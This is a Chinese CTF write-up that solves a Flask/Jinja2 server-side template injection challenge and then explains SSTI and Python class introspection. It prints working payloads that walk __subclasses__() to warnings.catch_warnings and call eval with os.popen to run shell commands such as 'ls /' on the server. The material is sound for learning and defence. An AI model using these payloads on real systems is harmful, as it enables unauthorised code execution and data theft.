文章目录
- 前言
- 一、题目解读
- 二、解题过程
- 三、知识点
- Flask是什么
- SSTI是什么
- SSTI是如何形成的
- 易于利用的类
- payload是什么
- 探索类型和类层次结构和方法
前言
温馨提示:看到哪里不懂直接跳到知识点部分,理解完再回到解题过程。
一、题目解读
题目是[Flask]SSTI提示已经很清晰了。
在Flask上进行SSTI注入
二、解题过程
先简单逛一逛
好朴素…
因为咱们已经知道用SSTI了,所以我们直接测试一下SSTL漏洞
输入{{6*6}},如果返回36,说明存在SSTI漏洞。
{{6*6}}
好了我们已经知道有这个漏洞了,下面咱们想想如何进行注入如何找到flag呢?
第一步肯定是信息搜集,利用__class__
、__bases__
和__subclasses__()
在Python中进行类型和类层次结构的探索。
{{%27%27.__class__.__bases__[0].__subclasses__()}}
查看源码就可以看到我们查到的这些类
找到了一个关键类warnings.catch_warnings
下面我们确定一下他的位置直接用索引函数
{{ ''.__class__.__mro__[1].__subclasses__().index(warnings.catch_warnings) }}
出现500内部服务器错误说明直接使用索引函数的方式在模板引擎中可能不被支持。那咱们只能一点一点排查了。
先从100~200试一试
{{ ''.__class__.__mro__[1].__subclasses__()[100:200] }}
ctrl+f可以直接在网页中搜索warnings.catch_warnings
搜到了,说明范围在100~200.根据下面的进度条再次缩小范围。尝试150 ~ 170.
{{ ''.__class__.__mro__[1].__subclasses__()[150:170] }}
最终确定是166
接下来咱们构造payload
列出上一级目录文件看看有没有flag
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("ls ../").read()')}}
''.__class__:
'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>。
.__bases__:
str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,)。
.__subclasses__():
object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。
[166]:
这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。
.__init__.__globals__:
获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。
['eval']:
从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。
'__import__("os").popen("ls ../").read()':
eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen("ls ../") 执行 ls ../ 命令,并读取其输出。
好吧没有flag
var里面看看
没有…
看看home和root
打扰了…
去环境变量里碰碰运气
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
''.__class__:
'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>。
.__bases__:
str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,)。
.__subclasses__():
object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。
[166]:
这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。
.__init__.__globals__:
获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。
.__builtins__['eval']:
从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。
"__import__('os').popen('ls /').read()":
eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen('ls /') 执行 ls / 命令,并读取其输出。
小小flag,拿下!
三、知识点
Flask是什么
Flask 是一个用 Python 编写的轻量级 Web 应用框架。它的设计理念是尽量保持简单和灵活,适合小型应用和微服务架构。Flask 提供了基本的功能,如路由、模板引擎和请求处理等,但没有强制性的项目结构或组件,开发者可以根据需要选择扩展功能。Flask 常用于快速开发和原型设计,因为它的学习曲线相对较低,且与其他 Python 库兼容性好。
SSTI是什么
SSTI(Server-Side Template Injection)是指在服务器端模板引擎中注入恶意代码的漏洞。模板引擎用于将模板与数据结合生成动态HTML内容。如果用户输入未正确过滤或转义,攻击者可以插入恶意代码,导致任意代码执行或敏感数据泄露。常见的受影响模板引擎包括Jinja2(Python)、Thymeleaf(Java)、Twig(PHP)等。通过SSTI,攻击者可以获取服务器权限,窃取数据或进行进一步的攻击。
SSTI是如何形成的
SSTI(服务器端模板注入)形成的原因主要是由于模板引擎在处理用户输入时没有正确地进行过滤和转义。这使得攻击者可以通过插入恶意模板代码来执行任意服务器端代码。典型的形成步骤包括:
- 用户输入被直接嵌入模板中。
- 模板引擎解析并执行输入的模板代码。
- 如果输入未经过适当的安全处理,攻击者可以插入并执行任意代码。
易于利用的类
在Flask模板注入(SSTI)中,有一些Python类和对象是易于利用的,因为它们提供了对底层系统和环境的直接访问。
1. os 模块:可以用来执行系统命令。
2. subprocess 模块:可以创建子进程并执行系统命令。
4. builtins 模块:包含所有内置函数和异常,可以通过全局命名空间访问。
5. eval 和 exec:可以执行字符串形式的Python代码。
6. 文件读取:如 file 模块中的 read 方法,用于读取文件内容。
7. 命令执行:如 warnings.catch_warnings 和 socket._socketobject,可以通过导入 os 模块执行系统命令,包括 system、popen 和 listdir。
8. 闪现信息:如 get_flashed_messages(),用于获取闪现信息。
payload是什么
payload" 是指用于执行特定攻击的代码或数据。在服务器端模板注入(SSTI)中,payload 是嵌入到模板中的恶意代码,用于执行任意命令或读取敏感信息。
payload通过利用Python的内部机制,实现了任意代码执行和文件读取。
探索类型和类层次结构和方法
__class__:
获取对象的类。例如,'hello'.__class__
返回<class 'str'>
。__bases__:
获取类的基类(超类)。例如,str.__bases__
返回 (<class 'object'>,
),表示 str 类直接继承自 object 类。__subclasses__():
获取一个类的所有子类。例如,object.__subclasses__()
返回所有直接或间接继承自 object 类的子类。
在Python中,__class__
、__bases__
和__subclasses__()
是探索类型和类层次结构的重要属性和方法,这些属性和方法可以用于动态地探索和操控Python的类型层次结构,特别是在安全研究和漏洞利用中。